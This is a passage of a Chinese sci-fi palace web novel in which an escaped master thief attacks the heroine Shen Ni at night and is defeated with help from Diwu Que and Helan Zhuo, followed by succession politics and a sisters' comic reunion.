沈逆让窦璇玑也放心去,房判大脑的重建会由系统维持,日夜不停。
窦璇玑道谢后离开了。
守了沈逆这几日,见她状态稳定,身体是弱,但生活规律,多少也能放下些担忧,约定明日再和李司一块儿来探望沈逆.
入夜,沈逆回到第五阙的客房时,第五阙已经沐浴过,穿着沈逆的寝衣躺在床上咻咻咻地飞鸽传信。不用问也知道传给谁。
沈逆打算在客房陪她说会儿话再回寝屋。
第五阙念叨着她的贺姐姐究竟还在不在长安城,她都自爆了怎么都没惹贺姐姐现身。她可不信贺姐姐会对安王言听计从,结合安王在婚宴上那番发言,说不定贺姐姐也是受制于向知番那老阉狗……
第五阙越说越来劲,完全没要睡觉的意思。
第五阙念叨完她的贺姐姐,又来问边烬的事儿。
听沈逆说了几句,眼睛又跟着红了,反过来安慰沈逆说:
“边女郎神通广大,一定不会有事的。”
这些日子以来,第五阙还是第一个和她一样笃定边烬没死的人。
沈逆的心头暖了些,暖光映出她的淡笑。
“嗯,我也是这么想的。她一定不会有事。”
边烬留了些琐碎之事在长安城,沈逆养伤的这段时日便把这些余冗处理了。
……
秋雨萧瑟,万姑姑撑着伞检查完了宅子所有的门,确定都关上后,裹紧了斗篷,打了个寒颤,沿着游廊回屋休息。
滴沥滴沥的冷雨打在寂静的院中。
忽然,一声轻微的声响。
后门的锁平白开了。
一道黑影肆无忌惮地走入侯府。
侯府所有的监控防御系统竟没有任何声响,宛若没发现一个陌生人堂而皇之地入府。
巡查的护院从远处走来。
那黑影似幽灵,忽然与周遭融为一色,躲过了护院的眼睛。
近日秋雨频繁,夜里更是雷雨交加,独睡的沈逆睡眠质量堪忧。
越是想念边烬的怀抱,越是难入睡。
睡眠不足会影响她的康复进度,她必须逼自己睡个安稳觉。
早点康复,才能早点离开长安城,去找边烬。
这几夜睡前都会喝万姑姑为她准备的安神茶,的确很利于睡眠。
孤灯落地,寝屋内极静,偶有细雨敲打窗沿的均匀声响。
沈逆抱着边烬的枕头,闭着眼,呼吸均匀平稳。
忽然,细雨的声音消失了。
有人站在窗外,挡住了雨水。
窗户被无声开启,宅内系统依旧没发出任何警报。
沾着泥水的脚印踏在光洁无尘的地板上,犹如一只夜行的猫,无声进入室内,慢慢接近床榻。
床上的女人睡着了,毫无防备。
黑影手中一把尖刀高举,狠狠刺下。
却刺了个空。
沈逆不知何时卷起了寝衣,跃至左侧,人还在半空,机械外骨骼的电磁炮口已然对准了黑影。
沈逆:“地板记得擦干净。”
雨夜侯府,忽然火光乍现。
黑影直接被炸到了小院中。
护院们听到电磁炮的声音正是纳闷,迅速往主院奔来。
却在距离主院一步之处被看不见的屏障挡住,护院们全被拒之院外。
这可傻眼了,怎么回事?
黑影摇摇晃晃地从小院的池塘里站起身。
电磁炮居然没能对黑影造成任何损伤。
沈逆坐在游廊的雕花栅栏上,慢悠悠地系紧了寝衣的腰带,鄙夷道:“趁人入睡时偷袭,好不要脸。”
黑影正是李褚从兰陵的监狱里救出的重犯。
此人拥有两种S级天赋,S级战斗天赋和机械天赋,曾经悬赏百万黄金,臭名昭著的帝国第一神偷。
没人知晓他的真名,只知道他出身死城,诨名“阿索”。
据说他不服自己才是S级天赋,自认能与双S级比肩,世间没有他打不开的门禁。
连兰陵大狱那种极为森严的监狱都关不住他。
阿索曾经两次成功越狱,越狱之后杀了上百人,盗取了兰陵巨富的所有身家,还杀了兰陵节度使全家。
之后便是让他恶名远播的百万黄金悬赏。
重赏之下,阿索到底还是被抓了回去,在狱中被砍去双腿,单独把他关押在特殊牢房里,这才勉强控制了他近十年。
直到被李褚带出监狱。
今夜,他不是来抓沈逆,是来杀沈逆的。
倒也不是为了李褚承诺还给他六十年的自由。
他对自由没什么太大的兴趣。
只是,他听闻这双S级的机械天才盛名已久,迫切想要见见她,看看她到底有什么样的惊世天赋。
人见到了,有点失望。
“这宅子的系统太无趣,随手就破解了。你怎么会是双S级天赋?”
阿索手中的剥皮小刀转得飞快,他的声音很低很闷也很慢,几乎要被雨声盖过。
沈逆看他穿着一身拟态夜行衣,十指已经高度机械化,腰间的蹀躞带上全是机械工具,双腿自膝盖往下是义体。
是个机械师无疑。
沈逆懒得解释这秦王的宅子她根本没花多少精力改造,其实是没时间,只改了一些必要的权限。
沈逆张开五指,蓝色的电流在指尖窜动。
今夜她的能量池记得充电了。
沈逆道:“死城阿索,我曾经也想抓你赚点零花钱,只是被别人抢先一步。是谁把你从兰陵大牢里放出来的?我好像问得有点多余。除了李褚还会有别人吗?”
阿索瘦得夸张,像一片被人削下来的木屑。
“事先说明,我对你很着迷,所以你所有的研发和成就我都了解过。所以,你的电磁炮对我不管用。”
沈逆眉心微蹙,随意开了一炮。
阿索果然没躲,但电磁炮在轰到他之前就消散了。
连带着沈逆身上的所有模块、义体都在狂震,猛烈挤压五脏六腑。
伤口忽然崩裂,沈逆压着胸口,血从唇缝中涌出,滴在洁白的寝衣上。
“电磁脉冲炸弹?”
阿索道:“没错,这便是专门为你装备的电磁脉冲炸弹。不仅能消除电磁炮,还能摧毁方圆十公里内所有的义体和电子设备。你还活着已经是个奇迹了。说明一下,我对滥杀无辜没有兴趣,所以在进来的时候设置了屏障。外面的人进不来,电磁脉冲炸弹也不会殃及这个院子之外的人。你放心,这院中只有你我,我只杀你一人。”
沈逆抽出了戒棍,往下一抖,戒棍变长。
阿索的剥皮小刀在指缝中熟练地转动。
“要用武力解决?我劝你别这么做。我有两个S级天赋,另一个天赋是战斗天赋。听说你受了重伤,我也不想占你便宜,所以,只要你在一炷香之内黑入我的屏障,将其接管,我就认输,随你处置,怎么样?反之……”
沈逆戒棍直接横飞而来。
阿索轻松躲过,戒棍砸在他身后的院墙上。
戒棍轻松击碎了院墙,但被外面一层看不见的事物挡住,咣当当地掉在地上。戒棍正是被阿索建立的屏障挡了回来。
此刻第五阙和护院们正在屏障之外,无论怎么踹怎么打,用什么武器抡,这透明的屏障都纹丝不动,像某种能量场。
阿索:“那棍子伤不了我。还没尝试接管屏障就放弃了?你的双S级天赋不会是浪得虚名吧?”
沈逆勾勾手指,戒棍被她的能量池吸了回来,回到手中。
“在你开口前我就试过了,S6型能量场型屏障,不接入任何网络,纯粹的物理型屏障。说的冠冕堂皇,像是想来一场机械师之间的对决,结果立了一道只能物理突破,根本没有黑客接管可能的屏障。”沈逆轻蔑道,“到底是小偷,说谎不眨眼。真下作啊。”
被拆穿的阿索忽然笑了起来。
再也不是方才内向、谨慎又沉闷的声音。
而是尖锐、躁动,极其刺耳。
沈逆冷嗤:“这就对了,这才像个贼。”
阿索动作极快,剥皮小刀削向沈逆的心口。
沈逆猛地一侧身,肩头被撕开一层皮。
她表情半点没变,戒棍对着阿索的脸飞射。
阿索到底是S级战斗天赋,躲避重伤未愈的沈逆的进攻轻轻松松。
剥皮小刀连削带刺,沈逆身上血口被越来越多,她挥动戒棍的动作却始终没停,只是每次都被阿索躲过。
在脖子被开了一个口后,沈逆身子摇摇欲坠,实在站不住,索性坐倒在饮茶小椅上。
血将雪白的寝衣染透,身子越来越沉,眼皮也愈发撑不起来。
阿索玩着小刀,听见院外喊杀声四起。
阿索眉眼笑成月牙,“忘了说,兰陵王殿下不止救了我一人,还救了十多位狱友,全都是我见了都害怕的恶徒。今晚全都来你侯府做客了。你们侯府那些护院恐怕有的忙,没空来救你……”
话还未说完,身后轰然一声巨响,一辆飞艇撞进院中,直接撞上阿索的后腰。
阿索满脑子问号被撞飞,再次摔入池塘里。
沈逆嫌弃道:“我这一池塘的鱼,没法要了。”
阿索站起身,从嘴里呸了一条鱼出来,惊讶地看向撞他的第五阙。
“不可能,就算是你沈逆造的载具,也不可能一撞就撞开我的屏障!”
沈逆转着手里的戒棍,“是么?”
看着戒棍,阿索忽然明白了,沈逆方才并不是在做无用功,戒棍每一次都敲在同一个地方。
那是屏障最脆弱的闭合口。
无法用肉眼观察到的细小弱点,居然被沈逆一眼看透。
她是在用戒棍敲击声提醒屏障外的第五阙,进攻那处,便能破局。
第五阙驾着沈逆的飞艇,艰难踩住刹车。
飞艇撞开了屏障,还差点撞断了阿索的腰,再坚硬的载具被第五阙横冲直撞一顿造,脑袋也瘪得冒烟了。
第五阙打破了那晦气的屏障,终于进来了,憋了一肚子气,见到阿索扑上去就揍。
沈逆失血过多,正在为自己治疗,撑着意识道:
“阿阙,他有两种天赋,不可大意。”
阿索的剥皮小刀速度极快,却没想到第五阙完全不躲,正面来就正面打,剥皮小刀被她一手抓拢,下一刻右手重拳直击,阿索被她揍跌出好几步远。
第五阙把剥皮小刀当飞刀使,长臂一甩,小刀刺进阿索的胸口,血流了满池塘。
“两种天赋?”
阿索刚站起来,又被第五阙一脚踹飞。
“在哪儿?我看看。”
第五阙平日里太单纯一根筋,让沈逆都快忘了她的强悍。
即便同是S级战斗天赋,也是有高有低。
第五阙是S级战斗天赋中最拔尖的那一波。
阿索摇摇晃晃地站起身,抹去嘴角的血,拔出胸口的小刀,从蹀躞带上摸出一根注射器,笑着扎进自己的胳膊里。
而后不到两息,这瘦如纸片的男人肌肉迅速膨胀,整个人变成了肌肉如石头一般大块又坚硬的壮汉。
第五阙:“哦,是嗑药的天赋。”
与此同时,阿索解除了屏障,三名浑身带血的同伙踏过护院们的尸体,和阿索一同包围了第五阙。
第五阙笑了起来,“还有一个天赋,是以多欺少的天赋。”
沈逆撑起身子,无语地看一眼她冒烟的载具,耗费巨资打造的载具没法用了。
沈逆胳膊搭着第五阙的肩头,借着她的身子站立,问她:
“对面有几个S级的战斗天赋?”
第五阙:“都是。”
沈逆:“……你们S级战斗天赋怎么随地一抓一大把?”
第五阙笑了起来,“也就你,这时候还能说笑话。没想到咱们要死在一起了,怕吗?”
沈逆:“我可没这打算,我还要去找师姐。你找你的贺姐姐去。”
第五阙两手空空,没有武器。
以前都是贺兰濯为她制备武器,可她总是不珍惜,用几次就用坏了。
她再莽撞再肆意,武器坏得再快,贺兰濯都会第一时间帮她补一把新的。
贺兰濯就是这样一言不发地宠着她,为她兜底。
第五阙眼眶有些热意。
“也对,我还是想和她死在一起。”
……
池塘被血染红。
青石板上也都是鲜血刮擦的痕迹。
昏迷的沈逆被第五阙一挥手送入寝屋里,她则脱力地坐在寝屋门口,手里握着一把抢来的长剑,指向断了一只手的阿索和仅存的另一位同伙。
“你们谁来?”
第五阙野兽般的眼神充满威慑,阿索和同伙都有些犹豫。
按理来说没什么好顾忌,毕竟这女人腹部被开了一个大口,右腿也断了,命悬一线。
而他们还有两人,杀她易如反掌。
可是不知为何,即便处于下风,这女人恐怖的威压就是压得他们心头发怵,不敢轻举妄动。
阿索转动着剥皮小刀,深吸一口气,往前踏了一步,第五阙也没任何动作。
阿索松了一口气,“没什么好怕的,她快死了,虚张声势罢了。”
第五阙嘴角扯出笑容。
的确,她是快死了。
能维持现在这个姿势都已经耗尽全力了。
肯定是死前的幻觉。
不然,她怎么看到贺兰濯站到她身前?
第五阙等着死亡的来临,却一直没来。
阿索和同伙脚步迟疑了。
第五阙飘忽的意识忽然一紧。
不是幻觉。
抬眸,她看到了熟悉的西服和乌黑的长发。
真的是贺兰濯。
和无数次陷入困境时一样,贺兰濯又一次在第五阙最最危险的时刻出现了,挡在她与危机之间。
第五阙想说话,引发一阵剧烈的咳嗽。
“他们都是……咳咳咳,S级……”
贺兰濯手压在了护目镜上,只说了两个字:
“闭眼。”
第138章
第五阙听从贺兰濯的话,闭上了眼。
但在贺兰濯摘去护目镜的那一刻,狂潮般的精神力依旧将第五阙吞没。
第五阙感觉自己的意识被打入深海,从深海之渊中骤然拔起一座巍峨的山峰,瞬间刺破了海面。
天地在眨眼间倒转,思绪被狂风席卷,天幕上映着两只奇特的眼睛。
那双瞳仁几近通明,闪耀着神性,仿佛能看穿万物的思潮。
第五阙不敢直视,那双眼的目光像炙热的风,从她的肌肤和脊背割过,不知灼亡了谁。
她听到了无法克制的嘶吼,那是见到了极端恐怖事物才会发出的绝望咆哮。
意识何时消失的第五阙记不清了,只记得再睁开眼,看到满目疮痍的院子,想了半天才想起自己身在何处。
阿索的同伙倒在她身边,双目睁圆,七孔爆血。
而阿索本人伏在地上痛苦哀嚎着,已经将自己的脸抓烂了。
贺兰濯扶着朱漆圆柱,摇摇欲倒。
这是第五阙第一次看见贺兰濯的眼睛,看见完整的她。
那是方才她在幻觉中所见天幕上的双眼,琉璃般通透而闪耀,即便在无灯的夜晚,那双眼也似切开了黑夜般夺目,美得不似这凡尘之物。
第五阙看痴了。
蓦然和第五阙对视,贺兰濯立刻避开目光。
“不是说了,闭眼。”
即便她的精神力已然严重透支,也不想第五阙看到,也有破坏她精神世界的可能。
贺兰濯的双眼有两种作用。
一种是无敌意的深度催眠,如对边烬所用。
另一种,则是以彻底摧毁对手的精神世界为目的的进攻状态。
贺兰濯已经很久很久没有因为战斗而摘过护目镜了。
每次摘去护目镜,进入紧绷的攻击状态,她的精神力就会失控地无差别进攻,所有的精神力完全无法控制地井喷。
这时她精神力在短时有极大程度的跃升,能摧毁所有她直视之人的思维。只有闭上双眼,且她没有任何敌意的人才能幸免于难。
即便是阿索这种拥有两种S级天赋的强者,也被贺兰濯注入了他最畏惧的场景,此刻还在极端害怕中挣扎,精神世界已经完全混乱了。
与此同时,贺兰濯也得付出相应的代价。
这代价亦是她无法控制的。
上一次玉璧险些过载,九死一生活了下来。
此刻浑身的气力尽失,头痛欲裂。
可以说,每次这么做都是她的生死大关。
但次次都是她主动为之,她不后悔。
拾起一把刀,贺兰濯用最后一丝力气,干脆利落地贯穿了阿索的心脏。
转眸,见第五阙跌跌撞撞地走向她,贺兰濯转身要走。
可惜她体力尽失,脚下发软,走得慢了。
被第五阙一把拥入怀中。
浑身的骨头都被抱得生疼。
“别走……”
你不知道我有多想你。
原本想说这句话,最终没敢说出口。
第五阙颤着声道:“我,我不给你压力,你想怎么做都行,就是别走了……别走了……我到处都找不到你。”
寒雨彻骨,第五阙的眼泪却好烫。
贺兰濯没有回应。
没有像之前丢给她让人寒心的话,也实在没有力气挣扎,就任她这样抱着,发泄着。
她没能力挣脱。
心和身体都是。
傻不傻。
贺兰濯抬眸,望向黑压压的天际。
左眼的视力在慢慢消失,璀璨的眸光也随之泯灭。
第一次见到第五阙的时候,贺兰濯就觉得这人不太聪明。
旁人说的尖酸之语她听不懂,想占她便宜她也不抗拒,就像只脾气软绵绵的羊,谁都能过来薅她一把。
贺兰濯不行,她受不了这种气。
就算得罪的不是她本人,旁观也咽不下去。
更何况这傻千金还是她的副手,她容不得这样的笨蛋在身边。
替第五阙教训了那些居心叵测之徒,同时也把第五阙拎到她的书房里,单独“审问”。
“你是笨蛋吗?别人占你便宜就半点不生气?”
贺兰濯当差时手里还晃着杯苹果酒。
第五阙还以为自己差事上出了什么差错,被冷面上峰抓到这儿来教训。
没想到……
第五阙:“谢谢节度使关心,我不生气啊。”
贺兰濯:“没人关心你,我只是在担心我自己。有你这样缺心眼的副手,我担忧自己的生命安全。”
“那更不用操心了,我很强,我有S级战斗天赋!”
眼前这小娘子很奇怪,明明是世家大族娇养出来的千金,却意外的好脾气,有种国泰民安的气质。
贺兰濯在安王府的秘密安排下,空降睦州节度使,算是抢走第五阙势在必得的位置。
原以为这位富家女脾气和她那头张扬的红发一样不好惹,肯定得找她麻烦,没想到截然相反。
贺兰濯在心里给她打了一个“小傻子”的标签,没兴趣与她多说,便让她走了。
小傻子召之即来挥之即去,只是出门前神神秘秘地探回脑袋。
“有事?”
贺兰濯翘着腿。
“是你帮我教训他们的么?”
贺兰濯没想到人看着不聪明,偶尔又有些敏锐。
不是真傻,是不在乎。
贺兰濯:“我只是不喜欢有人在我的地盘做这些无聊的事儿。”
第五阙像看穿她的嘴硬心软,开心地说了声:“谢谢贺姐姐。”
贺兰濯:“……叫我节度使。”
第五阙口头上答应,回头还是会时不时叫错。
贺兰濯伞尖戳在她心口,“你故意的?”
第五阙赶紧道歉,“不是不是,抱歉,因为你真的很像我家大姐,看到你就会想起她,对不起啊总是口误。”
“你家大姐?”
“是啊,她和你一样,看着凶凶的,其实对我非常好。”
“哦?有机会认识一下。”
“可能没机会咯。”
“怎么?”
第五阙踢了一下石子,没回答。
贺兰濯心想,大概她大姐已经不在人世,无意间提及人家的伤心事,有些尴尬。
之后第五阙再喊错,她也懒得纠正。
三个月后,第五阙公然旷职,贺兰濯问她人哪儿去了,有人说她家大姐来找她,姐俩逛街去了。
贺兰濯:?
她大姐?像我那个?不是死了吗?
之后她大姐跟着她一同回了署里,贺兰濯看见了,活的,会喘气的。
又一次把第五阙拎到书房,问她怎么回事。
第五阙:“她没死啊,之前是吵架了,我还以为她再也不会搭理我了呢。”
贺兰濯:……
信了你的邪。
贺兰濯:“现在再也不会搭理你的人换成我了。”
第五阙虽不知发生了何事,贺兰濯为什么不高兴,但之后的一段时日她跟在她的贺节度使身后端茶递水,哄了好长一段时日,总算是哄好了。
还一不小心哄上了床。
床上出奇的合拍,往后的日子更是一发不可收拾,夜夜相伴。
第五阙很依赖她,她知道。
在睦州当差,贺兰濯是为了能够牵制住安王府,面上当她们听话的傀儡,不让安王府怀疑,背地里一直在让赏金猎人搜查阿赐所在。
坐上这个位置,贺兰濯替安王府干了不少脏事,很多事都让她反感,但是为了找到阿赐,她不得不这么做。
当然也有恶心至极,非常厌恶自己的时候。
浑身的污秽余生都无法洗净。
可是,只要被第五阙抱着,她又觉得自己变干净了。
被第五阙爱着的时候,又能呼吸了。
但她记得自己处境有多危险。
她就是安王府的一把脏刀,越是危险的事,安王府就越喜欢安排她去做,便是在看能折磨她到什么地步。
她知道自己随时都会死,只要安王府一句话,她的命就得折进去。
更别说第五家作为睦州大族,安王府一定会想方设法控制和牵制,到时候她和第五阙便是死敌。
前路未知,随时会死的人没资格掏出真心爱谁。
她不能爱第五阙。
所以一直维持着床伴的身份。
可笑的是,在告诉自己不能爱她的时候,那颗心痛得像被千刀万剐。
她才发现不知何时,已经陷入第五阙为她编织的春日,不想离开了。
在阿赐被抓走的那一天起,贺兰濯便学会了忍耐。
万箭穿心也得把万箭埋进身子里。
忍着。
拖着无法修补的身心,过着行尸走肉般的日子,这样的她,遇到了世上最通透的第五阙。
所有的苦痛扎进第五阙的身体里,那些尖锐的情绪穿过她的心肺,竟留不下任何痕迹,在她快乐无忧的笑容间消失得一干二净。
贺兰濯拥有一双独特的眼睛,透明如琉璃。
但她知道,第五阙那双总是含笑的眼睛,才是真正璀璨无尘。
第五阙是她此生遇见过最妙的奇女子。
……
雨不知何时停了。
贺兰濯用尽最后一丝力气,将失血过多总算是昏过去的第五阙抱进屋中,躺到沈逆身边。
即便失去了意识,第五阙还紧紧拉着她的衣摆。
贺兰濯握住她的手,一根根手指打开。
第五阙双唇一颤,从闭合的眼缝中滑落一道眼泪。
即便昏迷着,也似受了天大的委屈。
贺兰濯在重新戴上护目镜之前,忍不住在她额头上落下一个吻。
她留了半条命给第五阙,剩下的半条还得支撑她踏上那条漫长之路。
安王府是为了操控她的能力才抓走了阿赐,这是向知番一贯的手法。
阿赐是因她才受此横祸,阿赐的人生不该如此。
如今向知番正在被南衙十二卫追捕,正是贺兰濯黄雀在后的最好时机。
她有预感,很有可能要离开长安城,深入城外凶险之地。
她不能退缩,要救回阿赐,这是必须要做的事。
她得割舍。
离开之前,留下了一张卡。
里面存着她所有的积蓄。
足够第五阙买下任何一座山头。
有山,有瀑布,有果树,还能有一处看得到日出日落好位置的山头。
小傻子就该一直幸福着。
贺兰濯摸摸第五阙的脑袋。
不要再遇上会惹你哭的人。
……
曾倾洛没想到,自己就出门给李极安个窝的工夫,侯府就遭人偷袭。
沈逆才养好一些的身子又受重创,这回可不是懒得走路才坐轮椅,是真的起不来身了。
第五阙的状况更惨,腿断了肚子也开了口,还一直陷入梦境醒不过来。
只是这昏迷的症状让人有点摸不着头脑。
别人昏迷时浑浑噩噩的尽做噩梦,口中不是喊“救命”就是“不要”。
她倒好,梦话一会儿说“好美”一会儿又是“别走”,又哭又笑的。
贺兰濯来时沈逆已经昏迷,记不得最后阿索和那同伙是怎么死的了。但沈逆查看了他们死状,同伙七孔流血表情狰狞,分明是看到了什么极其恐怖的事物,吓死的同时脑部肯定也受到了重创。
阿索更是奇怪,强悍的S级战斗天赋者,居然被一把刀简单刺穿心脏而亡,很明显死前已然不能动弹。
应该是受到了强大的精神力攻击。
结合第五阙的梦话,沈逆觉得贺兰濯现身救了她们的可能性很大。
李司和窦璇玑听说侯府遇袭,急忙跑来看沈逆的情况。
沈逆领她们去看阿索等人的尸体,又调了一份兰陵监狱的资料。
李司滑动着资料,“这些犯人身上都还有几十年的刑期,为何能进入长安城内?”
窦璇玑双臂抱在身前,“那势必是有人知法犯法,助他们越狱了。”
沈逆:“李将军,看来你的差事又有着落了。”.
李褚等了一夜,阿索没有回来。
非常不妙,得逃。
他虽没有实权,但贵为王爷,出城的权限还是有的。
侍从正备马车时,忽然两队持械金吾卫冲上来,将他们团团围住。
李褚见状大喊:“大胆,你们竟敢挡住本王去路!”
吵嚷间一回头,被李司那张凶脸惊得噤了声。
李司手里握着一把闪着冷光的手炮,如鹰般的眼睛盯着李褚:
“兰陵王殿下着急忙慌的这是要逃去哪儿?”
李褚冷汗已经浸湿了后背,梗着脖子硬撑着道:“本王要去何处,莫非还需与你报备?李司,你这乡野村妇不会真把自己当皇帝了吧?”
李司面不改色半点不恼。
“身为金吾将军,城内一切可疑行迹还真需要到我这儿来审上一审。殿下,得罪了。带走。”
两排金吾卫上前叉住李褚,哪管他拼命反抗,直接押回署中审问。
李褚落入李司之手,等于被沈逆捏在掌中。
且不说这些年与他主动寻的晦气也该就此了结,就是他自己作的死,李司随手一查,都足够让他死上好几回的。
只不过他到底还是个王,如今帝位空缺,暂无人能发落他。
不过也不远了。
距离唐Pro传奇皇帝李司登庸纳揆,还有不到两个月的时间.
这日一早沈逆被吵醒,万姑姑快步来报,说门外涌来一群老臣,都说要见侯君。
沈逆坐着轮椅来到门前一看,还真是一大窝的老臣,扫过去各个都是永王拥趸。
群臣请沈逆去德政殿一趟,沈逆更是莫名其妙。
她已经和李司一同出现,摆明了姿态,她支持李司登基,这帮李煽的支持者还想拉她作甚?
沈逆推脱道:“下官重伤懈倦,实在没有体力外出。”
沈逆没撒谎,阿索那帮贼人可比师姐下手狠多了,这几日她睡觉都睡不踏实,得注射止疼剂才能睡着。
群臣之首自然是老丞相。老丞相捻着胡须道:“靖安侯确定不去?错过重要朝会,可是要后悔莫及的呀。”
沈逆嘴角扯了扯,还吊我胃口。
看他们围堵的架势,要是不跟他们去的话,恐怕侯府大门会被围个三天三夜。
去就去。
说到这份上了,李煽还能做什么,沈逆倒有些兴致亲自去瞧一瞧。
群臣几乎是夹着沈逆的轮椅,一路严防死守,把她护送到了德政殿上,生怕她半路溜了。
沈逆真想跟他们说不必盯得这么紧,现在即便给她让出一条通天大道,她都没有半丝力气跑。
一进德政殿,沈逆就看到了李煽。
深秋未至,坐在轮椅上的李煽已经穿上了厚厚的大氅,她的脸色比雪白的狐狸毛围领还要白上一层。
即便是坐在轮椅上都有些坐不住,显然时日无多。
气氛一时有些沉重。
李煽看见了沈逆,一阵咳嗽后,用调侃的语气对沈逆道:
“靖安侯见到本王为何不行礼?”
沈逆:?
永王怎么惦记上这事儿了?
她不过是个靖安侯,见到王爷自然要行礼,只是她现下实在不便。
李煽却没有要放过她的意思,笑着瞧她,连带着整个大殿的人都往沈逆这儿看。
沈逆:……
永王这是什么趣味?专门把她叫来行礼?
沈逆没辙,只能哆哆嗦嗦地从轮椅上站起来,向李煽拱手展礼。
朦胧的视野里,李煽终于看到这不可一世的靖安侯对她行礼。
沈逆脸上疑惑不解的神情,更是让她开怀。
总算坑了沈逆一回。
当初沈逆在那已经被毁的含华殿上故意受她一拜,李煽当时是对这狂人恨极了,心里也有种莫名的情绪在滋生。
一直不愿承认,但她的确喜欢沈逆,这份喜欢间带着仰慕又羞恼,既羡慕又嫉妒。
而今,戏弄过沈逆之后,种种复杂的情绪都在这一刻融化于心。
足矣。
沈逆坐回轮椅,气喘不止。
随时在侦测她心率的曾倾洛都传信过来,问她怎么心率一下跳到一百二,是否遇到麻烦了?
沈逆回复她:没事……
本想解释自己被“绑架”到德政殿,忽然听到李煽开口。
“今晨寅时三刻,楚王薨逝。”
李煽开口没有半分预警,众声惊起,沈逆传信的动作都顿住了。
李煽眸色淡淡,“而我也时日无多。”
无视一片惊讶和聒噪声,李煽提高了一些声量。
“帝国数百年国祚,没想到行至吾辈,储君零落国力难续。又缝乱世末日,诸事难行,正需要一位亢厉踏实的帝王,带领群臣和百姓共度难关。我有心无力,相信李司会是那位带领帝国走向中兴的新帝。”
议论声充斥于耳,李煽已经懒得去在意这些人怎么想的了。
说出这些话,她只觉得大大地松了一口气。
纠结多日的神经总算不再紧绷。
阴沉的乌云难得短暂散去,她想再晒晒太阳。
……
枫叶似火,阳光晒在身上很温暖。
李煽短暂地睡了一会儿,这场短暂的睡眠她很喜欢。
因为没有梦到皇姐。
醒来时,轮椅在慢慢前进。
回眸,看见推她的人是沈逆。
“能走了?”李煽调侃她。
“总得活动活动。”沈逆说,“推你到前面去。”
夕阳西斜,阳光改变了位置,沈逆带她过去。
把李煽推到温暖地带,其实没走几步,沈逆已经累得够呛,坐到一旁歇会儿。
两人不太熟,没什么话说。
只一起吹着同一阵长风,沐浴同一片金光。
“多谢。”
不知沉默了多久,沈逆忽然蹦出了两个字。
李煽也懒得问她在谢哪一遭。
是偷偷复制最高研发署权限,而没揭发她的那次。
还是后来助她侦查鸟潜入广膳宫的那回。
无所谓了。
“我才是该谢你,让我在死之前明白人生的真相。”
“很残酷。”
“是,很残酷,但这就是我的人生。短暂、残酷,充满遗憾。”
李煽没有哭,闭上了眼睛,面对着远处的夕阳,嘴角漾起浅笑。
“我反抗过,珍惜过,拼尽全力努力过。我活过。沈逆,我活过了这一生,我尽力了。”
第139章
自那日德政殿上当着众臣的面支持李司登基后,李煽就再也没有出现在人前。
永王府闭门谢客,谁也不见。
据坊间传说,李煽已经将最高研发署的所有权限交予沈逆。
沈逆在帝国中枢的分量,又往上拔了一大截。
新帝登基前,沈逆显然是帝国的权柄中心。而正在筹备登基大典的新帝李司,亦是她一手托上帝位的帝国新主人。
旁人眼中权倾朝野的靖安侯,此刻正疑惑地看着墙头挂着的那人。
沈逆慢悠悠地往嘴里丢一颗油炸地豆,寻思着这张脸怎么看着有点眼熟?
那女子被沈逆刚刚修复的内宅防御系统逮个正着,五花大绑在空中荡了大半天,终于见着人了,对着沈逆灿烂一笑。
“你就是靖安侯吧,我是阿阙二姐,我来找阿阙的。”
沈逆微笑。
就说眼熟呢,果然是你们第五家姐妹能干出的事儿。
第五阙坐着沈逆的电动轮椅把自己送到墙下,嫌弃道:
“二姐,你来不能提前跟我说一声?我们第五家的脸被你丢尽了。”
二姐呵呵一笑,“提前说了你还能让我来吗?有你在,丢脸这事儿还轮不着我。”
第五阙:“信不信我不放你下来?”
二姐:“行啊,那我就跟路过的邻居聊聊天,让大家都知道逃婚的第五阙根本没死,在这儿呆着呢。”
姐俩一见面没说两句话就开吵,隔空激情互骂。
沈逆:……
怎么会在人家家里吵起来啊?
沈逆当人,把二姐放了下来。
姐妹俩面对面倒是不吵了,偷偷找了个角落说小话。
此情此景让沈逆想到小时候养过的一只小狗,抱着它的时候它见人就叫,估计来只异兽都能骂骂咧咧。但凡给它放地上瞬间乖巧,不吵不闹。和第五家姐妹何其相似。
第五阙问她二姐:“阿娘真的那么生气吗?”
“这还用问?你看看我的后脖子上的红印子!本该捏你的,我替你受罪了。连无辜的我阿娘都能够下狠手,可想而知她气成什么样了。要是见着你,那肯定不是捏,得上手撕。”
“你也不能算无辜吧,毕竟收了我一百两银子,为我打掩护,你是同谋。”
二姐:??
二姐:“不是吧阿阙,我帮你,你忘恩负义。”
“你那不叫帮,你那是生意,要算行侠仗义的话,把一百两银子还我。”
“你信不信我现在就回去跟阿娘说你是假死?”
“行啊,你回去跟她说呗,我看你脖子会不会被当场拧掉。”
两人没说两句又开始吵,吵得沈逆脑袋有点痛。
有一个第五阙就够了,怎么还来了俩?
头痛归头痛,但她舍不得赶人。
第五阙冒死护她的事儿,其实她挺感动的。
第五阙和沈逆不太分彼此,有事儿是真上,已经助沈逆好几次了。阿索突然出现的那夜,要不是第五阙舍身救她,她现在肯定没命了。就算侥幸还留着一条命,恐怕也被李褚所抓,用她来为登基铺路,下场都不敢多想。
这会儿吵点怎么了,吵吧,吵点有人气儿,热闹。
德政殿归来,沈逆不再依赖轮椅,平日里能走就走走,也一直在喝疗伤型强效营养液,身子恢复得很快。
沈逆看得出来,李煽还是眷恋尘世的,但她已经没有时间了。
这份遗憾让沈逆有了种紧迫感。
之前的确也想快些康复,可是边烬终究带走了很大一部分的生命力,沈逆想让自己更振作一些,偶尔也会陷入乏力和疲倦之中。
如今她心里多了一份道不明的动力,不想蹉跎的心境在翻涌。
她又开始沉浸在工作室里。
离开前有些事得了结,有些准备得做足。
累一点,身子和脑子反而又活了。
沈逆路过姐俩,慈祥地摸摸第五阙的脑袋,走了。
二姐看着沈逆离开的背影,问第五阙:“难怪你藏这儿了,原来是给侯君当宠物。”
第五阙:……
姐俩吵归吵,感情还是很好,二姐顺势躺在第五阙的腿上。
被吊了半天,浑身疼,累得慌。
二姐说:“你能跟你侯君姐妹说一下么,这段时日我想在侯府避难。什么时候等阿娘消气了,或者你又活了,我再回去。”
第五阙:“可以。”
“你真好。”
“一百两辛苦费。”
二姐:?
二姐:“不是,阿阙,你掉钱眼里了?怎么这还要收费?”
第五阙:“嗯,刚才腿给你枕,再加五两。”
二姐:……
她的确掉钱眼里了。
当她醒来时没找到贺兰濯,却发现一张存了巨额银钱的卡时,不用任何人说半个字,她亦明白这是何意。
贺兰濯拼死救回了她的性命,留下所有的积蓄帮她完成心愿。
这是诀别。
